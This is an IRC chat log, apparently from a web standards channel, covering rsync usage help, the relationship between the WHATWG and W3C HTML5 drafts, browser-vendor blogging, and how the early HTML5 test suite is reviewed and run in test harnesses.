[07:50:00.0000] <micheil>
Rik`: then again, I'm probably not your average front end developer

[07:50:01.0000] <Rik`>
and these days, the only way to get a new module implemented is to start the dance

[07:50:02.0000] <micheil>
and I don't really consider <hbox> / <vbox> stuff to really be grid layouts in the general sense

[07:51:00.0000] <Rik`>
I'm not saying it's good (or bad)

[07:51:01.0000] <Rik`>
just saying there are 4 layoutish modules

[07:52:00.0000] <micheil>
Rik`: yeah, true, but I think there should be a distinction between layout and grids

[07:52:01.0000] <micheil>
grids are a subset of layout

[07:52:02.0000] <micheil>
(in a way)

[07:52:03.0000] <micheil>
sort a grid is a layout, but a layout isn't necessarily a grid

[07:53:00.0000] <micheil>
like, flex box's box-lines: multiple; sounds like whitespace wrapping

[07:53:01.0000] <micheil>
which would possibly be useful in an odd way

[08:06:00.0000] <annevk>
it's box wrapping

[08:28:00.0000] <karlcow>
"In my personal opinion, Adobe is doing a tremendous disservice to the publishing industry by encouraging these ineptly literal translations of print publications into iPad apps." http://www.subtraction.com/2010/10/27/my-ipad-magazine-stand

[09:45:00.0000] <annevk>
is there an scp parameter that makes it not copy files that already exist?

[09:48:00.0000] <Philip`>
Why not use rsync?

[09:49:00.0000] <annevk>
then I should have used that from the beginning, no?

[09:49:01.0000] <jgraham>
From the beginning of what?

[09:50:00.0000] <annevk>
ok, so rsync does what I need?

[09:50:01.0000] <Philip`>
It's basically just a fancier remote file copy tool

[09:50:02.0000] <annevk>
i'll give it a try

[09:50:03.0000] <Philip`>
(and it can work over SSH)

[09:51:00.0000] <Philip`>
(Can't copy directly between two remote hosts, though)

[10:04:00.0000] <annevk>
so how does one use rsync?

[10:04:01.0000] <annevk>
rsync -a * remoteDir does not work

[10:05:00.0000] <annevk>
/me is terrible with command line manuals

[10:05:01.0000] <Philip`>
What is remoteDir?

[10:06:00.0000] <annevk>
something@ip:dir

[10:06:01.0000] <AryehGregor>
rsync -a ./ myname@somehost:/absolute/path/

[10:06:02.0000] <AryehGregor>
The trailing slashes are significant.

[10:06:03.0000] <Philip`>
I think that should work, though "dir" is interpreted relative to the home directory

[10:06:04.0000] <AryehGregor>
Also probably good to use -avz instead of just -a.

[10:06:05.0000] <micheil>
rsync -avz localpath user@server:remote_path

[10:07:00.0000] <annevk>
no luck :/

[10:07:01.0000] <Philip`>
What fails?

[10:07:02.0000] <annevk>
hmm

[10:08:00.0000] <annevk>
"bash: rsync: command not found" but it does give the help pages and all?

[10:08:01.0000] <Philip`>
It needs to be installed on the remote system too, I think

[10:08:02.0000] <Philip`>
Not sure if that's the problem here

[10:09:00.0000] <micheil>
Philip`: hmm, I don't think so.

[10:09:01.0000] <annevk>
hmm, how is the package called?

[10:09:02.0000] <micheil>
that looks like a local issue.

[10:09:03.0000] <annevk>
afaict it's not on the remote host

[10:09:04.0000] <annevk>
but apt-get does not find it

[10:09:05.0000] <annevk>
well, it also says "rsync error: remote command not found ..."

[10:10:00.0000] <micheil>
okay, maybe I'm wrong.

[10:11:00.0000] <Philip`>
http://packages.ubuntu.com/search?keywords=rsync - it's just called rsync

[10:11:01.0000] <annevk>
running update first helps

[10:12:00.0000] <annevk>
working

[10:12:01.0000] <annevk>
thanks Philip`!

[10:13:00.0000] <Philip`>
/me likes rsync

[10:13:01.0000] <Philip`>
/me likes 'gzip --rsyncable' too

[10:15:00.0000] <AryehGregor>
/me didn't know about that, interesting

[10:16:00.0000] <annevk>
does rsync also take care of deleting files on one end?

[10:17:00.0000] <AryehGregor>
You have to add the --delete option for that.

[10:18:00.0000] <annevk>
and the first time this is slow but then it will be fast right?

[10:19:00.0000] <AryehGregor>
Yes, if the files haven't changed much.

[10:21:00.0000] <Philip`>
rsync doesn't store any extra metadata or anything - if you've already copied the files by some other means (scp or whatever) then rsync should immediately be fast (by only copying the changed portions of files)

[10:21:01.0000] <annevk>
oh, not too fast then for large datasets

[10:22:00.0000] <AryehGregor>
It depends what you mean by "large".

[10:22:01.0000] <Philip`>
And by "fast"

[10:22:02.0000] <AryehGregor>
I regularly copy a couple hundred gigabytes with rsync and it takes only a few minutes, given that most of it hasn't changed.

[10:22:03.0000] <AryehGregor>
By default it will skip files entirely if their size and mtime are the same.

[10:22:04.0000] <annevk>
well, lots of 10MB files of which I only added a few

[10:22:05.0000] <AryehGregor>
Then it will only copy the newly-added files.

[10:22:06.0000] <AryehGregor>
After the first time.

[10:22:07.0000] <annevk>
maybe lots of them changed then

[10:23:00.0000] <annevk>
well, I had already copied them before via scp

[10:23:01.0000] <Philip`>
Are you definitely copying into the same location where the scp'd files are? (rsync makes it easy to get mixed up and accidentally add an extra subdirectory so things don't go where you expect)

[10:24:00.0000] <AryehGregor>
Yes, make sure you keep a careful eye on trailing slashes.

[10:24:01.0000] <AryehGregor>
It has some weird idiosyncratic way of interpreting them.

[10:24:02.0000] <AryehGregor>
Like rsync -a dir1 dir2 will create dir2/dir1/ and fill it with dir1's contents.

[10:24:03.0000] <AryehGregor>
You want to do rsync -a dir1/ dir2/ for it to sync the contents of dir1 with those of dir2.

[10:26:00.0000] <annevk>
it ended up in the same directory

[10:31:00.0000] <Philip`>
About obsolete spec warnings: there have been non-zero occasions where browser developers accidentally looked at the static author view, and wondered where all the UA conformance requirements were

[10:32:00.0000] <Philip`>
Oh, http://dev.w3.org/html5/spec-author-view/ is all a weird style now

[10:32:01.0000] <Philip`>
which at least makes it distinct

[10:33:00.0000] <Philip`>
though only about 300 words fit on my screen at once, which makes it horrid to browse through since there's way too much scrolling :-(

[10:34:00.0000] <miketaylr>
yeah, i wouldn't mind if that were wider

[10:36:00.0000] <Philip`>
I get a visible region of 500x640 pixels, which is less than I find comfortable

[10:42:00.0000] <Philip`>
(But apart from the narrowness (making it hard to read and making the code samples wrap too much), and some unreadably light blue text, and bugs with lists and stuff, it looks quite reasonable to me)

[10:46:00.0000] <webr3>
eh? why does http://dev.w3.org/html5/spec-author-view/ look like a quick blog post rather than a document of web scale importance?

[10:47:00.0000] <webr3>
and http://dev.w3.org/html5/spec/ ?

[10:50:00.0000] <webr3>
nvm / trust it'll be sorted out soon

[10:50:01.0000] <karlcow>
webr3: "This is an out-of-date editor's draft. Please see the current editor's draft. Updates to this draft will resume shortly. Apologies for any inconvenience."

[10:50:02.0000] <karlcow>
resume *shortly*

[10:55:00.0000] <Rik`>
webr3: for the spec-author-view, it is just the table of contents

[11:05:00.0000] <webr3>
Rik`, looks the same when i click through to other bits of the doc..

[11:05:01.0000] <Rik`>
are you talking about the look?

[11:05:02.0000] <Rik`>
or the content ?

[11:05:03.0000] <webr3>
the look

[11:06:00.0000] <webr3>
it "looks" like a post on a free wordpress account somewhere, not a spec, or an author view of a spec, or anything near anything of any standing or importance, shich is a shame

[11:06:01.0000] <Rik`>
I think, not sure that it's a new look that MikeSmith is working on with some developers who complained about the default look of W3C specs

[11:06:02.0000] <webr3>
no direct offense intended of course!

[11:07:00.0000] <karlcow>
webr3, things which are dev.w3.org are editors drafts. 

[11:08:00.0000] <webr3>
yup I know, you know, most of the web doesn't - they just see w3.org and think it's official "hot off the press" version

[11:08:01.0000] <webr3>
this is probably a moot convo tbh - unsure why I mentioned

[11:10:00.0000] <webr3>
yup.. if I google for "HTML 5" I get #1 wikipedia, #2 dev.w3.org/html5/spec/Overview.html - that about says it all to me

[11:10:01.0000] <webr3>
/me wanders off

[11:27:00.0000] <webr3>
is there no head/master/fork/branch/merge capabilities on dev.w3c?

[11:32:00.0000] <webr3>
and just wondering.. how exactly can an editors draft go out of date, as in why is the editors draft not the editors draft?

[11:35:00.0000] <hober>
webr3: hixie's work is in http://svn.whatwg.org/webapps

[11:35:01.0000] <gsnedders>
webr3: Well, branches in CVS aren't exactly nice…

[11:35:02.0000] <hober>
webr3: as part of his publication workflow, changes end up in dev.w3 CVS

[11:36:00.0000] <webr3>
gsnedders, good point

[11:37:00.0000] <webr3>
hober, so I assume the "real" editors draft is on whatwg, and sometimes they are pushed to dev.w3 cvs, as in dev,w3 version isn't actually the editors draft

[11:37:01.0000] <webr3>
hober, is the whatwg editors draft the editors draft of the HTML 5 specification, or of some other specification of which a subset could be considered HTML 5?

[11:39:00.0000] <othermaciej>
the whatwg draft is the sole draft of "HTML5 (including next generation additions still in development)"

[11:39:01.0000] <hober>
AFAIK there's no distinction between the whatwg spec and some kind of whatwg "editor's draft"

[11:40:00.0000] <othermaciej>
it includes content that appears across several W3C drafts, including HTML5, plus some content that is not presently in any W3C draft

[11:40:01.0000] <hober>
part of the publication flow is that the various w3c subset specs get pulled out of it

[11:40:02.0000] <othermaciej>
there is no distinction between Editor's Draft and Working Draft at WHATWG, it is just live

[11:40:03.0000] <hober>
right

[11:40:04.0000] <webr3>
othermaciej, hober, okay i follow re whatwg HTML spec, so then what's the stuff on w3.org?

[11:41:00.0000] <othermaciej>
there are some automatic scripts that update the various Editor's Drafts in W3C CVS

[11:41:01.0000] <othermaciej>
when Ian checks in to the WHATWG version

[11:42:00.0000] <othermaciej>
A couple of days ago Ian stopped those automated updates and put a warning in place on the W3C Editor's Draft

[11:42:01.0000] <webr3>
yup, I'm just totally confused as to what the w3.org HTML 5 spec is then.. is it the spec for HTML 5 (still in development) or what?

[11:43:00.0000] <othermaciej>
the there are a few things at w3.org

[11:43:01.0000] <gsnedders>
Alternative explaination: there's this "source" file which loads of stuff gets generated from. <http://www.whatwg.org/specs/web-apps/current-work/complete.html> contains everything.

[11:43:02.0000] <hober>
it's a snapshot of some of the work being done

[11:43:03.0000] <othermaciej>
there is the Editor's Draft, on dev.w3.org, which is the draft on track to become the W3C standard for HTML5

[11:44:00.0000] <othermaciej>
and there is the Working Draft at http://www.w3.org/TR/html5/

[11:44:01.0000] <webr3>
ok, so that will be HTML 5, as in the next HTML after HTML 4 ya?

[11:44:02.0000] <othermaciej>
which is a periodic snapshot (though eventually it will be frozen and HTML development will continue for the next version)

[11:44:03.0000] <othermaciej>
indeed, it will be the successor to HTML4.01

[11:45:00.0000] <webr3>
okay.. think I'm following - so is the whatwg spec the editors draft for the w3 HTML 5 spec? (yes or no?)

[11:46:00.0000] <hober>
yesish

[11:46:01.0000] <hober>
the editor only edits the whatwg source file

[11:47:00.0000] <hober>
machines extract the w3c "editor's draft" from that mechanically

[11:47:01.0000] <karlcow>
webr3, is there something which you need for a specific work? Or are you just asking by curiosity?

[11:47:02.0000] <othermaciej>
the whatwg spec is source material from which the w3c editor's draft is (was?) created

[11:48:00.0000] <webr3>
hober, maciej - thanks for clarifying (~ish!)

[11:48:01.0000] <webr3>
karlcow, nothing I specifically need, would like to know what's being standardized and can be pretty much relied on like - but primarily just trying to figure out what the hell the situation is, as I'm sure you're more than aware

[11:49:00.0000] <webr3>
from an outsiders point of view it's a bit wtf

[11:49:01.0000] <webr3>
hence why trying to clarify in some way

[11:49:02.0000] <othermaciej>
it can be somewhat confusing

[11:49:03.0000] <hober>
realistically speaking, I think it's easy to remember whatwg.org/html5 as the spec URL

[11:49:04.0000] <hober>
don't worry about what gets subsetted / split out over at the w3c

[11:50:00.0000] <karlcow>
it's a live process (small p) for publication with improvements, sometimes errors. It has changed, and will change again. I'm pretty sure.

[11:50:01.0000] <hober>
the whatwg spec converges with reality over time; the w3c spec hopefully will to, and many of us are working to make sure it does, but you never know.

[11:51:00.0000] <othermaciej>
otoh the w3c spec is the one that will most likely have a test suite that matches its normative requirements

[11:51:01.0000] <othermaciej>
so once it gets to that point, it is pretty likely browser vendors will run the test suite and change their code to match it

[11:51:02.0000] <webr3>
yup the last thing I'd do (hopefully) is indicate that you guys weren't putting in hard work, I see the mails on the lists flying by and sometimes try to keep up :p

[11:52:00.0000] <karlcow>
web3r, are you an implementer or a Web developer? It's a bit harder for developer, plus the current spec is not necessary the best source for a Web developer. 

[11:52:01.0000] <webr3>
othermaciej, cool that makes sense, so a [all the prototype stuff, experiments, stable stuff, trying stuff" is what whatwg, and a subset of that is going through standardization that will be implemented, tested and hold up as reliable over time ya?

[11:53:00.0000] <othermaciej>
well, nothing stops more experimental stuff from being implemented as well, though perhaps not as widely in that case

[11:54:00.0000] <othermaciej>
as far as creating content goes, if you want to deploy HTML5 content today, probably the best reference is one of the many books

[11:54:01.0000] <hober>
s/going through standardization/going through standardization at w3c/

[11:54:02.0000] <webr3>
indeed, but hoping the "HTML 5" final spec is reliable accross vendors ya? that's the goal of standardization isn't it

[11:54:03.0000] <hober>
(because it's also going through standardization at whatwg)

[11:54:04.0000] <othermaciej>
such as http://diveintohtml5.org/

[11:55:00.0000] <hober>
but yeah, for a web dev reference, markp's and adactio's books are the way to go

[11:55:01.0000] <othermaciej>
webr3: in the very long run - probably, although it may be obsolete by the time it is completely final and fully implemented

[11:55:02.0000] <karlcow>
/me found http://webr3.org/blog/about/

[11:55:03.0000] <webr3>
/me karlcow that's painfully out of date ;)

[11:56:00.0000] <gsnedders>
(Much like CSS 2.1)

[11:56:01.0000] <karlcow>
webr3: revise your publication process then ;) I want to be more sure about which page I can rely on :p (kidding)

[11:57:00.0000] <webr3>
karlcow, I'm a developer primarily, around sem web fields, also member of rdfa wg, and generally ask lots of questions around webapps and related groups + note a few issues

[11:58:00.0000] <webr3>
lol I'll grey out that page and stick a link through to a markmail search for my name

[11:59:00.0000] <karlcow>
;)

[12:02:00.0000] <webr3>
tbh.. I still don't get the whatwg/w3c editors/chairs html/html5 thing, but doublt anything you can say will help that, or that anything I can say will make any form of difference to anything other than waste folks time

[12:02:01.0000] <webr3>
/me meh

[12:03:00.0000] <AryehGregor>
"It's complicated"

[12:04:00.0000] <AryehGregor>
/me hasn't even looked at the latest drama yet, but gets the impression it's relatively big

[12:04:01.0000] <webr3>
lmfao I remember saying that a few eyars ago about the ex

[12:04:02.0000] <webr3>
re "it's complicated" not re "it's relatively big"

[12:08:00.0000] <othermaciej>
heh

[12:08:01.0000] <AryehGregor>
I love how the IEBlog posts so consistently contain veiled snipes against other browser vendors.

[12:08:02.0000] <othermaciej>
it is kind of weird

[12:08:03.0000] <AryehGregor>
"For example, this page incorrectly initializes a canvas library for users of any IE version, rather than using IE9’s native canvas support."  Linking to arewefastyet.com.

[12:08:04.0000] <AryehGregor>
Hardly anyone would even realize that was a snipe against Mozilla.  Maybe it's not, and I'm just being paranoid?

[12:08:05.0000] <othermaciej>
Apple would never let us blog stuff that snarky

[12:09:00.0000] <AryehGregor>
It seems to be mandatory on IEBlog.

[12:09:01.0000] <othermaciej>
I don't know if that is the most clear-cut example but I have certainly seen swipes

[12:09:02.0000] <AryehGregor>
Yeah, this one was more subtle.

[12:09:03.0000] <AryehGregor>
A lot of times they'll just say something sort of innocuous-sounding and leave it up to you to figure it out from some words they've linked.

[12:10:00.0000] <AryehGregor>
Like I remember something on their JS engine that said something like "Our engine is fast because it's fully integrated into the browser, not pluggable like some browsers", linking to pages on Nitro and V8.

[12:10:01.0000] <AryehGregor>
Something like that.

[12:10:02.0000] <AryehGregor>
They do that kind of thing all the time, though.

[12:11:00.0000] <karlcow>
AryehGregor: I wonder who is writing the blog posts, but I can imagine that when you have been hit a lot of times because of the quality of your product with snarky comments, there is a kind of natural reaction, even when you are self control.

[12:11:01.0000] <karlcow>
not necessary appropriate but understandable from a human point of view

[12:12:00.0000] <AryehGregor>
karlcow, I'm pretty sure they're being edited professionally.  They have a very consistent tone.

[12:13:00.0000] <othermaciej>
AryehGregor: I suspect they are being written mostly by Program Managers on the IE team

[12:14:00.0000] <AryehGregor>
/me has only a vague idea of what a Program Manager might be.

[12:15:00.0000] <othermaciej>
I am not totally sure what the role is (Apple doesn't have them)

[12:15:01.0000] <webr3>
sorry.. just started wondering why there aren't two distinct "HTML 5" and "HTML labs" type things that' don't touch, other than when something emerges as stable out of labs and in to html 5, something like mozilla + mozilla labs, or public stale vs dev beta?

[12:16:00.0000] <othermaciej>
but they are people who are part of a product team and are responsible for among other things designing the product and writing specs for everything, but not any coding

[12:16:01.0000] <AryehGregor>
webr3, basically, HTML5 started in the WHATWG and then moved to the W3C.  In the W3C it has to follow W3C procedures and is answerable to W3C WG decisions and such.  But the WHATWG version was never retired, so it lives a life of its own.

[12:16:02.0000] <webr3>
/me freud'd i meant stable not stale

[12:17:00.0000] <AryehGregor>
Sometimes the ones in charge of the W3C version disagree with the one in charge of the WHATWG version, and then sometimes they diverge.

[12:17:01.0000] <AryehGregor>
In particular, the W3C process requires that the spec stabilize, so new pieces can't be added to it after a certain point.  But the WHATWG version has some parts stable and some parts unstable.

[12:17:02.0000] <webr3>
yup, but why not a stable and a labs type scenario, good feature in whatwg, let's standardize and push to official spec?

[12:18:00.0000] <othermaciej>
it could work like that, but the actual situation is more complicated

[12:18:01.0000] <AryehGregor>
The WHATWG just has one document for everything, and marks sections individually by stability.

[12:18:02.0000] <othermaciej>
AryehGregor's description is more complete

[12:18:03.0000] <AryehGregor>
Hixie prefers a single large spec to many small specs, and he runs the WHATWG in practice, so that's what the WHATWG publishes.

[12:19:00.0000] <webr3>
othermaciej, I'm aware and don't want to waste your time on this or get in to heavy politics, it just seems that making a clear distinction solves a lot of problems, as a friend said you can remove the address bar in mozilla labs without problem, remove it in firefox live and you get a huge bloody mess

[12:19:01.0000] <AryehGregor>
The W3C has tended to push for somewhat smaller specs, so the WHATWG spec gets chopped up, and some pieces get dropped for various reasons, and a number of minor things get changed (like dropping examples that W3C members didn't like, etc.).

[12:19:02.0000] <othermaciej>
webr3: ultimately, for that conception to fly the relevant leadership of the W3C and WHATWG would have to agree

[12:20:00.0000] <AryehGregor>
webr3, specs aren't comparable to software.  In particular, spec changes don't affect anyone immediately, and it doesn't make sense to have specs that contradict each other.

[12:20:01.0000] <webr3>
othermaciej, not much I can say to that :)

[12:20:02.0000] <AryehGregor>
Whereas with software, shipping a new software version affects all users who download it in a very concrete way, and it makes sense to have lots of different variants of the same software flying around.

[12:21:00.0000] <AryehGregor>
Basically, if you know the current "stable" version of the spec is wrong in some way, why would you *not* want to fix it?  It's not like software, where a bug fix in one place could cause some unexpected bug in another place.

[12:22:00.0000] <AryehGregor>
That sort of thing in specs is only likely if you make fairly major changes.

[12:22:01.0000] <webr3>
AryehGregor, unsure.. if specs changes don't affect anyone immediately, and it doesn't make sense to have specs that contradict each other - then why the hell does dev.w3 html spec point to whatwg one, and what's all the fuss about the TR and editors drafts being out of date about then..?

[12:22:02.0000] <AryehGregor>
Plus, the intended audience for specs is much more likely to be able to spot bugs.

[12:22:03.0000] <karlcow>
webr3: The W3C Process (big P) has been relatively flexible by accomodating different type of WGs. (Many would argue we are not there yet and that's right). There is a trade-off between stability and dynamic changes. 

[12:22:04.0000] <karlcow>
The Lab idea is indeed interesting and it is something the goal of Member Submissions, and Incubator Groups. There is a new proposal being drafted on the table which is Community proposal. We will see how it evolves 

[12:22:05.0000] <AryehGregor>
I haven't looked at the latest hubbub yet, dunno about that.

[12:22:06.0000] <webr3>
AryehGregor, well you just mooted and disagreed w/ it all lol

[12:22:07.0000] <karlcow>
s/something the goal/somewhat the goal/

[12:23:00.0000] <othermaciej>
speaking as an implementor, I think having a stable branch is beneficial for specs just as for software

[12:23:01.0000] <webr3>
karlcow, sounds interesting - is that the same community thing going on in w3 where there was a poll etc recently?

[12:23:02.0000] <othermaciej>
it is useful to have a core set of spec material that's relatively stable and covered by a comprehensive test suite, as a stable implementation base

[12:23:03.0000] <karlcow>
webr3, let me fetch a link

[12:23:04.0000] <webr3>
othermaciej, speaking as a developer I totally agree, specially when you know the fine details have been covered

[12:24:00.0000] <othermaciej>
sometimes fixes have to be backported from the dev version, but that will likely not be the common case

[12:24:01.0000] <othermaciej>
when it does happen, it's good to have a process that ensures implementors are alerted ASAP, that test suites are updated, and so forth

[12:24:02.0000] <othermaciej>
basically the same kinds of reasons that stable branches are useful for software

[12:24:03.0000] <webr3>
othermaciej, fully agree

[12:24:04.0000] <othermaciej>
with one big spec, it's hard to even tell which parts are relatively stable

[12:25:00.0000] <webr3>
othermaciej, fully agree, again - it is a real PITA for a developer

[12:25:01.0000] <webr3>
I hate implementing stuff then finding it doesn't work everywhere, or hardly anywhere even

[12:25:02.0000] <karlcow>
webr3: http://www.w3.org/2010/07/community a DRAFT in big bold accessible letters

[12:25:03.0000] <othermaciej>
you need to be very looped in to WHATWG to be able to tell which parts of the WHATWG spec are solid and unlikely to change, as opposed to which parts are still fairly experimental

[12:25:04.0000] <othermaciej>
that makes it harder to prioritize implementation work

[12:25:05.0000] <othermaciej>
now, I'm not particularly looking to force this approach on anyone

[12:25:06.0000] <webr3>
othermaciej, fully agree, yet again - it's kind of the point in standardization too

[12:26:00.0000] <AryehGregor>
webr3, developers are probably not well served by reading specs anyway, unless they're about very old features.  You really need compatibility charts of some kind.

[12:26:01.0000] <othermaciej>
but I think that is what I find useful as an implementor (and moreso as a person who is responsible for prioritizing much of Apple's implementation work, in addition to doing part of it)

[12:26:02.0000] <AryehGregor>
othermaciej, the stability markers in the WHATWG spec aren't good enough?

[12:26:03.0000] <webr3>
karlcow, ty for link - that's what i was thinking of, remember taking the poll etc and have read the doc - quite excited about it :)

[12:27:00.0000] <othermaciej>
AryehGregor: in practice, they haven't been that effective

[12:27:01.0000] <webr3>
ArayehGregor, no tbh not from where I'm standing they aren't useful

[12:27:02.0000] <othermaciej>
AryehGregor: I find that I have to rely on my inside knowledge of what has already been implemented or shipped by other vendors, which things have significant outstanding feedback, which items are brand new, etc

[12:27:03.0000] <karlcow>
in the past, when there was less products and less implementers, the errata page was here to keep people informed about spec errors http://www.w3.org/2005/10/Process-20051014/tr#errata  But I guess in our stream world, a feed is more appropriate

[12:27:04.0000] <othermaciej>
i.e. knowledge that is out of band of the spec

[12:28:00.0000] <webr3>
what's useful is having a pretty reliable editors draft with standardized stuff in it that only has minor bugs

[12:28:01.0000] <gsnedders>
karlcow: It's a lot nicer for the errata to be inline

[12:28:02.0000] <gsnedders>
(Like, I know this has caused issues with ES for me)

[12:28:03.0000] <AryehGregor>
othermaciej, isn't that the case with any large new standard or set of standards, though?  Is CSS3 much better?

[12:28:04.0000] <karlcow>
gsnedders: yes :) in the context of now :) time changed. 

[12:29:00.0000] <othermaciej>
AryehGregor: it is hard to tell which CSS3 modules are stable without inside knowledge, though I can usually assume that almost all of CSS2.1 is quite stable

[12:29:01.0000] <AryehGregor>
othermaciej, but that's only because CSS2.1 is ancient.

[12:29:02.0000] <AryehGregor>
HTML5 has practically no parts of comparable antiquity.

[12:30:00.0000] <othermaciej>
well, it has the HTML4-ish subset

[12:30:01.0000] <othermaciej>
which is comparably old in the wild, if not in draft form

[12:31:00.0000] <othermaciej>
CSS2.1 is actually an attempt to fix CSS2 which had the opposite problem - freezing too early

[12:31:01.0000] <AryehGregor>
Yeah, but most of that is much more detailed than HTML4, so it's not necessarily stable.

[12:31:02.0000] <othermaciej>
it went to REC before it had actually gotten full interoperable implementation in mainstream browsers

[12:34:00.0000] <karlcow>
AryehGregor: because the specs were written with a different mindset. It was about creating markup languages, not implementations guidelines. HTML 4 has been the first to enter a bit more in the details of implementations.

[12:34:01.0000] <AryehGregor>
Yes, sure.

[12:34:02.0000] <AryehGregor>
HTML 4 was not too concerned about detailed interop.

[12:34:03.0000] <karlcow>
Then a generation of Web integrator have been familiarized with reading w3c specs. And now they have a culture shock. It will take time to adjust.

[12:35:00.0000] <karlcow>
And I'm pretty sure the next generation will throw as much stone to what is done these days :) It's called history.

[12:35:01.0000] <webr3>
dunno..

[12:35:02.0000] <webr3>
I quite like reading a spec, implementing it, and seeing it work

[12:35:03.0000] <webr3>
and have a clear readable spec (nudge MikeSmith)

[12:35:04.0000] <webr3>
and one that doesn't crash my browser

[12:36:00.0000] <webr3>
but then I'm just one of millions

[12:36:01.0000] <webr3>
i also really like going through whatever/labs and trying new things..

[12:37:00.0000] <othermaciej>
older editions of HTML were more concerned with defining the syntax and abstract semantics rather than detailed processing requirements

[12:37:01.0000] <webr3>
yup, that is a big improvement - much of it is a big improvement

[12:38:00.0000] <webr3>
there's just no clear distinction between the "ooh try this" stuff and the "yes, use this" stuff

[12:38:01.0000] <webr3>
imo

[12:38:02.0000] <webr3>
this is wasting your time, apologies

[12:42:00.0000] <hober>
webr3: don't worry about that. this is IRC after all. What's it for if not wasting time?

[12:43:00.0000] <webr3>
:) well tbh I've got a to-do list longer than my arm and should be concentrating on that

[12:55:00.0000] <AryehGregor>
Only 26 posts?  That barely qualifies as drama.

[13:21:00.0000] <othermaciej>
AryehGregor: we have certainly seen worse

[13:23:00.0000] <othermaciej>
and it seems like a lot of them are a side-thread about accessibility for a potential warning message

[13:32:00.0000] <annevk>
why are people submitting implementation reports for the vastly incomplete HTML5 test suite?

[13:36:00.0000] <jgraham>
annevk: Because W3C are encouraging them to?

[13:37:00.0000] <jgraham>
I think it is pretty dumb myself

[13:37:01.0000] <jgraham>
We are *so* far away from a proper testsuite

[13:37:02.0000] <jgraham>
I assume we still will be even if we get the rumored test dump from an unnamed company at TPAC

[13:42:00.0000] <Workshiva>
'an unnamed company', I like that

[13:44:00.0000] <smaug____>
annevk: where is the incomplete html5 test suite?

[13:44:01.0000] <smaug____>
/me wonders how the review process of the tests works

[13:46:00.0000] <jgraham>
smaug____: http://dvcs.w3.org/html/

[13:46:01.0000] <jgraham>
smaug____: The review process doesn't work, really

[13:46:02.0000] <smaug____>
"Not Found"

[13:47:00.0000] <jgraham>
But in theory people not from the company that submit the test look over it and check that it is right

[13:47:01.0000] <jgraham>
http://dvcs.w3.org/hg/html

[13:47:02.0000] <jgraham>
So far this has caused more false positives than it has found bugs, and hasn't scaled to the number of tests that we have

[13:47:03.0000] <jgraham>
So there is someting to work on there

[13:48:00.0000] <jgraham>
(also, there are only a small handful of people making a meaningful contribution at the moment)

[13:49:00.0000] <othermaciej>
jgraham: what do you think would improve the process the most?

[13:49:01.0000] <othermaciej>
more test submissions?

[13:49:02.0000] <othermaciej>
more reviewers?

[13:49:03.0000] <othermaciej>
I think realistically, a oomplete HTML5 test suite is a massive software project

[13:49:04.0000] <smaug____>
yeah

[13:49:05.0000] <othermaciej>
maybe not *quite* as massive as an actual implementation of HTML5, but close to it

[13:50:00.0000] <smaug____>
it would takes years to have complete testsuite, I assume

[13:50:01.0000] <othermaciej>
it's also hugely valuable

[13:50:02.0000] <smaug____>
it is

[13:50:03.0000] <othermaciej>
complete and credible test suites can improve interop more than specs

[13:50:04.0000] <smaug____>
especially if the format for the testsuite is such, that browser vendors can run it automatically

[13:52:00.0000] <othermaciej>
indeed

[14:01:00.0000] <Workshiva>
Didn't Hixie allot 10 years for the test suite and implementation?

[14:02:00.0000] <AryehGregor>
Yep.

[14:03:00.0000] <othermaciej>
btw I do think test-driving the early versions of the test suite is useful, though casting that as an "implementation report" is a bit silly

[14:04:00.0000] <othermaciej>
it's useful because it can identify potential problems in the test suite or spec early

[14:04:01.0000] <othermaciej>
and/or highlight overlooked browser bugs

[14:04:02.0000] <gsnedders>
Nobody is casting it as an IR, as far as I can tell

[14:04:03.0000] <othermaciej>
so I can't really criticize people for running the test suite, even though it is but a fragment at present

[14:06:00.0000] <AryehGregor>
I wonder what will happen if I make my test suite work with the test-reporting framework that other people are using.  Will it blow up?  Take forever?  Crash the browser?

[14:06:01.0000] <AryehGregor>
Only one way to find out!

[14:06:02.0000] <AryehGregor>
Although, it probably doesn't matter if I don't find some way for someone to approve them.

[14:10:00.0000] <othermaciej>
I might be able to convince some folks from the WebKit team at Apple to join to review tests for approval, even if they are not willing to actually write a bunch of them

[14:10:01.0000] <AryehGregor>
What's an accepted pattern in JS for namespacing?  Create an object and make everything properties of the object?

[14:11:00.0000] <wolfman2000>
Afternoon. When using the <audio> tag, what's the right way to determine if the full audio file has been .load()ed properly?

[14:11:01.0000] <gsnedders>
othermaciej: I think partly having a clearer set of rules of what tests must be would help.

[14:13:00.0000] <AryehGregor>
wolfman2000, event handlers?

[14:13:01.0000] <gsnedders>
Like, from an Opera POV, we want some single JS test harness, as we want to send test results back from JS and not do it by grabbing the text off the page and comparing with an expected string (like WebKit does).

[14:13:02.0000] <wolfman2000>
AryehGregor: I figured this was more of a JS question, but it deals with an HTML5 element. I was hoping to get it cleared up here

[14:13:03.0000] <gsnedders>
And I guess Mozilla would like something that can integrate into MochiKit

[14:14:00.0000] <AryehGregor>
wolfman2000, well, maybe you could set an onload attribute on the element, is what I'm saying?

[14:15:00.0000] <smaug____>
gsnedders: MochiKit or reftest, depending on the testcase

[14:15:01.0000] <smaug____>
though reftest is probably highly Gecko dependent 

[14:15:02.0000] <gsnedders>
And a lot of what MS is submitting would suit WebKit fine with their testing infrastructure now, but not really either Opera or Mozilla.

[14:15:03.0000] <wolfman2000>
Hmm...I'll see what I can do AryehGregor 

[14:15:04.0000] <gsnedders>
smaug____: Well, I mean anything which from a JS POV can return pass/fail

[14:16:00.0000] <othermaciej>
gsnedders: we can make use of JS-based harnesses, grabbing text off the page is in a sense just what we do to read the "pass" string

[14:16:01.0000] <gsnedders>
From an Opera POV a single JS harness > multiple JS harnesses > reftests > visual tests > manual tests

[14:17:00.0000] <gsnedders>
othermaciej: Well, yeah. But my point is you don't need any way to get the result except through it being output (which any sane harness will).

[14:18:00.0000] <micheil>
hmm.. imho. the opera websocket tests are a little bit bad.. depending on php..

[14:18:01.0000] <micheil>
(or it did)

[14:18:02.0000] <gsnedders>
/me can't claim to know every testsuite anyone in Opera has written :)

[14:18:03.0000] <othermaciej>
gsnedders: as long as the tests are reasonably modular, it should be feasible to put them into a variety of harnesses

[14:19:00.0000] <Ms2ger>
smaug____, well, CSS3 test suites are going to use reftests, so we might as well use them for HTML too

[14:19:01.0000] <smaug____>
Ms2ger: how will that work in other browsers without canvas.drawWindow() ?

[14:20:00.0000] <othermaciej>
JS-driven tests are better than reftests IMO

[14:20:01.0000] <Ms2ger>
Browser-dependent

[14:20:02.0000] <smaug____>
ah

[14:20:03.0000] <othermaciej>
